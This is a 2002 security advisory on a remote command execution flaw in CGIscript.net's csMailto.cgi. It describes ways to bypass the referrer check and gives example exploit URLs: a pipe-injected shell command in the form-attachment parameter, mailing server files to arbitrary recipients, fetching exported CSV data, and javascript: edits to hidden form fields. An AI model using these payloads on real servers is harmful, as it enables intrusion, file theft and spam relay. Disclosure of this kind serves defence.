26th Sep 2002 [SBWID-5308]
COMMAND
CGIscript.net's csMailto.cgi remote command execution
SYSTEMS AFFECTED
??
PROBLEM
In Steve Gustin [[email protected]] advisory :
Because the script stored all the form configuration data in hidden
fields in the actual form, once a user can bypass the referrer check
they can essentially do anything an administrator of the program could
do, plus some additional things that probably weren't intended.
The script doesn't even check for the full referrer, it only checks for
the presence of the server hostname in the referral your send. For
example, if the script is
http://host.com/cgi-script/CSMailto/CSMailto.cgi then it will look for
"host.com" in the referer.
This method is inherently insecure and can be bypassed by:
- Creating a perl LWP script which could specify an arbitrary referrer.
- Using javascript or other means to modify the form values on the
generated CSMailto form and allowing the browser to send the original
(and valid) URL as a referrer.
- Creating a local form page with the target hostname in the path and
thus the referrer that is sent when in the form is submitted (eg:
C:\html\host.com\form.html)
- Creating a local html page with a simple link (see below) and the
target hostname in the path and thus in the referrer that is sent when
the link is clicked (eg: C:\html\host.com.html)
Some example exploits are as follows. Note, these all assume that the
referrer check was bypassed with one of the above methods.
- execute commands on server
CSMailto.cgi?form-attachment=SHELL_COMMANDS_HERE|&command=mailform
- execute command on server and mail output to anyone
CSMailto.cgi?form-attachment=SHELL_COMMANDS_HERE|[email protected]&form-autoresponse=YES&command=mailform
- email server file to anyone
[email protected]&form-autoresponse=YES&command=mailform
- download/access form input (no referer check)
CSMailto has the option to "have the feedback exported to an external
file". These files are stored in CSV format and can be downloaded from:
CSMailto/export/FORM_NAME.csv
Form HTML files are often named after their form names and the
information is also stored in hidden fields in the actual form like so
"...formname=FORM_NAME...". Also, it's worth noting that the script
doesn't properly escape '"', ',', or nextline ("\n") chars, so any CSV
data with those characters may get corrupted.
- use form to send email to anyone
[email protected][email protected]&form-subject=subject&form-results=body&command=mailform
Another example of the seriousness of this problem, as mentioned above,
you can simply load an existing CSMailto form and have your browser (IE
in this example) change some of the preset hidden form values and then
click submit. Example:
- email server file to anyone
javascript:alert(document.forms[0]["form-attachment"].value="FILEPATH");
javascript:alert(document.forms[0]["form-autoresponse"].value="YES");
javascript:alert(document.forms[0]["Email"].value="[email protected]");
SOLUTION
None yet.